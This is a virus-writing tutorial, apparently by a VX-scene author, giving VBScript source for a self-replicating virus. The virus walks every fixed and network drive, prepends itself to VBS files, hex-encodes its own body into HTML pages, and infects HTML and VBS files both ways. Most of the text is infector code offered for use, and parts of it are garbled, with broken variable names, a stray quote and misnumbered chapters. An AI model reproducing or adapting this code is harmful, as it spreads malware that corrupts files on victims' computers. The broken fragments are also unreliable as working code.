

=== VBS/HTML multi-infection ===
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 # Introduction: #
 #####

This article present how to travel between VBS and HTML file to infect them.
 There are 4 chapters :

I: VBS -> VBS
 II: VBS -> HTML
 III: HTML-> HTML
 IV: HTML-> VBS

 # I: VBS -> VBS #
 #####

We can frequently see this in the VBS virus. There are two sort of infection:

-Overwritting : % To bad, the user sees immediatly the problem
 % Crash the VBS file
 So this solution is not very good.

-Parasit : % Start of the file :

```
*****
* 'mark of the virus *
*           *
*       +       *
*           *
*   VBS virus   *
*****
*           *
*   Real VBS prog   *
*           *
*****
```

% End of the file :

```
*****
* 'mark of the virus *
*****
*           *
*   Real VBS prog   *
*           *
*****
*           *
*   VBS virus       *
*           *
*****
```

So we're going to see the code :

```
' mark
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")

Set fl = fso.OpenTextFile(WScript.ScriptFullName, 1)
virus = fl.ReadAll                                     ' Stock the virus code
fl.Close

infectfile()
Sub infectfile()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set drv = fso.Drives
For Each d In drv                                     ' Get the drive
If d.DriveType = 2 Or d.DriveType = 3 Then
List(d.path & "\")
End If
Next
End Sub

Sub List(doss)
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fold = fso.GetFolder(doss)
Set yebp = fold.SubFolders
For Each f1 In yebp                                  ' Get the folder
infect(f1.Path)
List(f1.Path)
Next
End Sub
```

```

Sub infect(doss)
On Error Resume Next
Set zqhanx = CreateObject("Scripting.FileSystemObject")
Set lxxj = zqhanx.GetFolder(doss)
Set fc = lxxj.Files
For Each f1 In fc                                ' Get the files
ext = fso.GetExtensionName(f1.Path)
ext = lCase(ext)
If (ext = "vbs") Then
    Set cot = fso.OpenTextFile(f1.Path, 1, False)
    If cot.ReadLine <> ""mark" Then                ' check is already infected
        cot.Close
        Set cot = fso.OpenTextFile(f1.Path, 1, False)
        vbsorg = cot.ReadAll()
        cot.Close
        Set inf = fso.OpenTextFile(f1.Path, 2, True)
        inf.WriteLine virus                        ' write virus code
        inf.WriteLine (vbsorg)                    ' write real code
        inf.Close
    End If
End If
Next
End Sub

```

```

#####
# 11: VBS -> HTML #
#####

```

So, the idea is to put the viral code into the VBS file. How ?? by converting into hex string :

```

....
....

```

```

If (ext = "htm") or (ext = "html") Then
    Set cot = fso.OpenTextFile(f1.Path, 1, False)
    If InStr(1, cot.ReadAll(), "vbshex") = 0 Then    ' check is already infected
        cot.Close
        Set htmf = fso.OpenTextFile(f1.Path, 8, False)
        htmf.WriteLine "<SCRIPT LANGUAGE=VBSCRIPT>"
        f = "vbshex="""

        For i = 1 to Len(virus)                      ' take all char
            e=Mid(virus,i,1)                          ' and convert in hex
            e=Hex(Asc(e))

            If Len(e)=1 Then                            ' DA -> 0D0A for VbCrLf
                e="0"&e
            End If

            f=f+e

        Next

        f=f+""""

        ..... NO FINISH, SEE THE fourth chapter    ' Here the infection HTML -> VBS

        htmf.WriteLine f
        htmf.Close
        End If
End If

Set htmf = fso.CreateTextFile("hello.htm", 8, -2)
htmf.WriteLine "<SCRIPT LANGUAGE=VBSCRIPT>"

f = "vbshex="""

For i = 1 to Len(virus)

    e=Mid(virus,i,1)
    e=Hex(Asc(e))

    If Len(e)=1 Then
        e="0"&e
    End If

    f=f+e

Next

f=f+""""

htmf.WriteLine f
htmf.Close

```

```
#####
# III: HTML -> HTML #
#####
```

It's a simple routine. Like in VBS (and it's in VBS).

This is a part of source :

```
<mark>                                     ' the mark
<html><head><title>You're title</title></head><body>
<script language=VBScript>
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set ws=CreateObject("WScript.Shell")
If err.number=429 Then                       ' err number if user click NO
ws.Run javascript:location.reload()
Else

infhtm(upl obu.GetSpecialFolder(0))          ' call the infhtm function
infhtm(upl obu.GetSpecialFolder(1))          ' in specific folder (better)
infhtm(unl geu.SpecialFolders("MyDocuments"))

End If

Function infhtm(dir)
If fso.FolderExists(dir) Then
Set ibami h=fso.GetFolder(dir)
Set vtob=ibami h.Files
For each f1 in vtob
ext=Icase(upl obu.GetExtensionName(f1.Name))

If ext="htm" or ext="html" Then              ' check extension
Set eqybw x=fso.OpenTextFile(dj ra.path, 1, False)
If eqybw x.ReadLine <> "<mark>" Then        ' already infected ??
eqybw x.Close()
Set eqybw x=fso.OpenTextFile(dj ra.path, 1, False)
htmorg=eqybw x.ReadAll()
eqybw x.Close()
Set virushtm=document.body.CreateTextRange
Set eqybw x=fso.CreateTextFile(dj ra.path, True, False)
eqybw x.WriteLine "<mark>"
eqybw x.WriteLine(htmorg)                    ' put the mark
eqybw x.WriteLine virushtm.html text        ' put the real code
eqybw x.Close()                             ' put te htm virus
Else
eqybw x.Close()
End If

End If
Next
End If
End Function
```

```
</script></body></html>
```

really simple no ??

```
#####
# IV: VBS -> HTML #
#####
```

So this is the the last part.

Look at the second part, I write

```
..... NO FINISH, SEE THE fourth chapter          ' Here the infection HTML -> VBS
```

We must search here the VBS file. The same way that we infect HTM/HTML file.

In the HTML virus we have :

```
If ext="htm" or ext="html" Then
```

So we add

```
ElseIf ext="vbs" Then
Set cot = fso.OpenTextFile(f1.Path, 1, False)
If cot.ReadLine <> "'mark" Then              ' check is already infected
cot.Close
Set cot = fso.OpenTextFile(f1.Path, 1, False)
vbsorg = cot.ReadAll()
cot.Close
```

----- here we infect the VBS file -----

```
For Y=1 To Len(vbshex) Step 2
    virvbs = virvbs & Chr("&H" & Mid(vbshex, Y, 2))
Next
Set inf = fso.OpenTextFile(f1.Path, 2, True)
inf.Write virvbs                                ' write virus code
inf.WriteLine ""
inf.WriteLine (vbsorg)                          ' write real code
inf.Close
```

----- here we infect the VBS file -----

End If

```
#####
# V: CONCLUSION : #
#####
```

This is the end of the article. If you have some suggestions or new ideas, please mail me to petikvx@aol.fr.

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